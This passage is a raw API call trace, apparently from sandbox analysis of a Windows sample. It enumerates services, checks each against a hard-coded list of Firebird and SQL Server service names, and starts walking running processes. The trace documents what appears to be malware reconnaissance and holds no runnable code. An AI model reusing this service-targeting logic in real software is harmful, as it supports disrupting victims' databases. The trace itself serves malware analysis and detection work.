lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0298.864] GetLastError () returned 0xea [0298.864] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x4572188 [0298.864] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4572188, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4572188, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0298.865] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0298.865] lstrlenW (lpString="Appinfo") returned 7 [0298.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0298.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0298.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0298.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0298.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0298.865] lstrlenW (lpString="AppXSvc") returned 7 [0298.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0298.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0298.866] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0298.866] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0298.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0298.866] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0298.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0298.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0298.866] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0298.866] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0298.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0298.866] lstrlenW (lpString="Audiosrv") returned 8 [0298.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0298.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0298.866] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0298.866] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0298.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0298.866] lstrlenW (lpString="BFE") returned 3 [0298.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0298.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0298.866] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0298.866] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0298.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0298.866] lstrlenW (lpString="BITS") returned 4 [0298.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0298.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0298.866] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0298.866] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0298.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0298.866] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0298.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0298.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0298.866] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0298.866] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0298.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0298.867] lstrlenW (lpString="CDPSvc") returned 6 [0298.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0298.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0298.867] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0298.867] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0298.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0298.867] lstrlenW (lpString="ClickToRunSvc") returned 13 [0298.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0298.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0298.867] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0298.867] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0298.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0298.867] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0298.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0298.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0298.867] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0298.867] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0298.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0298.867] lstrlenW (lpString="CryptSvc") returned 8 [0298.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0298.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0298.867] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0298.867] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0298.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0298.867] lstrlenW (lpString="DcomLaunch") returned 10 [0298.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0298.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0298.867] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0298.867] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0298.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0298.867] lstrlenW (lpString="DeviceAssociationService") returned 24 [0298.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0298.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0298.867] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0298.868] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0298.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0298.868] lstrlenW (lpString="Dhcp") returned 4 [0298.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0298.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0298.868] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0298.868] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0298.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0298.868] lstrlenW (lpString="Dnscache") returned 8 [0298.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0298.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0298.868] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0298.868] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0298.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0298.868] lstrlenW (lpString="DoSvc") returned 5 [0298.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0298.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0298.868] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0298.868] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0298.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0298.868] lstrlenW (lpString="DPS") returned 3 [0298.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0298.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0298.868] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0298.868] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0298.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0298.868] lstrlenW (lpString="DusmSvc") returned 7 [0298.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0298.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0298.868] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0298.868] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0298.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0298.868] lstrlenW (lpString="EventLog") returned 8 [0298.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0298.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0298.869] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0298.869] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0298.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0298.869] lstrlenW (lpString="EventSystem") returned 11 [0298.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0298.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0298.869] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0298.869] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0298.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0298.869] lstrlenW (lpString="FontCache") returned 9 [0298.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0298.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0298.869] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0298.869] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0298.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0298.869] lstrlenW (lpString="gpsvc") returned 5 [0298.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0298.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0298.869] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0298.869] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0298.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0298.869] lstrlenW (lpString="iphlpsvc") returned 8 [0298.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0298.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0298.869] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0298.869] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0298.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0298.869] lstrlenW (lpString="KeyIso") returned 6 [0298.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0298.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0298.869] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0298.869] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0298.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0298.869] lstrlenW (lpString="LanmanServer") returned 12 [0298.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0298.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0298.870] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0298.870] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0298.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0298.870] lstrlenW (lpString="LanmanWorkstation") returned 17 [0298.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0298.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0298.870] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0298.870] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0298.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0298.870] lstrlenW (lpString="lfsvc") returned 5 [0298.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0298.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0298.870] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0298.870] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0298.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0298.870] lstrlenW (lpString="lmhosts") returned 7 [0298.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0298.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0298.870] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0298.870] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0298.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0298.870] lstrlenW (lpString="LSM") returned 3 [0298.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0298.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0298.870] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0298.870] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0298.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0298.870] lstrlenW (lpString="MapsBroker") returned 10 [0298.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0298.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0298.870] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0298.871] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0298.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0298.871] lstrlenW (lpString="MpsSvc") returned 6 [0298.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0298.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0298.871] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0298.871] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0298.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0298.871] lstrlenW (lpString="NcbService") returned 10 [0298.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0298.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0298.871] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0298.871] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0298.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0298.871] lstrlenW (lpString="netprofm") returned 8 [0298.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0298.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0298.871] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0298.871] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0298.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0298.871] lstrlenW (lpString="NgcSvc") returned 6 [0298.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0298.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0298.871] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0298.871] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0298.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0298.871] lstrlenW (lpString="NlaSvc") returned 6 [0298.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0298.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0298.871] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0298.871] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0298.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0298.871] lstrlenW (lpString="nsi") returned 3 [0298.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0298.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0298.872] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0298.872] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0298.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0298.872] lstrlenW (lpString="PcaSvc") returned 6 [0298.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0298.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0298.872] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0298.872] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0298.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0298.872] lstrlenW (lpString="PlugPlay") returned 8 [0298.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0298.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0298.872] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0298.872] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0298.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0298.872] lstrlenW (lpString="Power") returned 5 [0298.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0298.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0298.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0298.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0298.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0298.872] lstrlenW (lpString="ProfSvc") returned 7 [0298.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0298.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0298.872] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0298.872] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0298.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0298.872] lstrlenW (lpString="RpcEptMapper") returned 12 [0298.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0298.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0298.872] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0298.872] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0298.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0298.873] lstrlenW (lpString="RpcSs") returned 5 [0298.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0298.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0298.873] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0298.873] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0298.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0298.873] lstrlenW (lpString="SamSs") returned 5 [0298.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0298.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0298.873] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0298.873] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0298.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0298.873] lstrlenW (lpString="Schedule") returned 8 [0298.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0298.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0298.873] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0298.873] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0298.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0298.873] lstrlenW (lpString="SecurityHealthService") returned 21 [0298.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0298.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0298.873] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0298.873] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0298.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0298.873] lstrlenW (lpString="SENS") returned 4 [0298.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0298.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0298.873] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0298.873] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0298.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0298.873] lstrlenW (lpString="ShellHWDetection") returned 16 [0298.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0298.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0298.873] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0298.874] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0298.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0298.874] lstrlenW (lpString="Spooler") returned 7 [0298.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0298.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0298.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0298.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0298.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0298.874] lstrlenW (lpString="SSDPSRV") returned 7 [0298.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0298.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0298.874] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0298.874] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0298.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0298.874] lstrlenW (lpString="StateRepository") returned 15 [0298.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0298.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0298.874] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0298.874] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0298.874] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4572188 | out: hHeap=0x6e0000) returned 1 [0298.874] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0298.877] Process32FirstW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.878] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0298.878] lstrlenW (lpString="System") returned 6 [0298.878] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0298.879] lstrlenW (lpString="smss.exe") returned 8 [0298.879] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0298.880] lstrlenW (lpString="csrss.exe") returned 9 [0298.880] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0298.880] lstrlenW (lpString="wininit.exe") returned 11 [0298.880] Process32NextW (in: hSnapshot=0x56c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, 